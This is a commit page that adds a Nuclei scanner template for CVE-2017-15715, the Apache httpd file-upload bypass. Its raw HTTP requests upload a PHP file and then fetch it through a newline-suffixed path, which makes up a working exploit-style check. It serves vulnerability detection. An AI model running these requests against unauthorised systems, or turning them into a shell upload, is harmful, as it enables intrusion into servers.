Create CVE-2017-15715.yaml

patch-1
Geeknik Labs 2021-04-23 13:34:52 +00:00 committed by GitHub
parent f10fcbcf2f
commit 8fc4e54a36
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 49 additions and 0 deletions

View File

@ -0,0 +1,49 @@
id: CVE-2017-15715
info:
name: Apache Arbitrary File Upload
author: geeknik
description: In Apache httpd 2.4.0 to 2.4.29, the expression specified in <FilesMatch> could match '$' to a newline character in a malicious filename, rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are are externally blocked, but only by matching the trailing portion of the filename.
reference: https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
severity: high
tags: cve,cve2017
requests:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data;boundary=----------795556870
Content-Length: 200
----------79556870
Content-Disposition: form-data; name="name"
nuclei.php
----------79556870
Content-Disposition: form-data; name="file"; filename="nuclei.php"
<?=phpinfo()?>
----------79556870
- |
GET /nuclei.php%0a HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "PHP Version")'
- 'contains(body_2, "PHP Extension")'
condition: and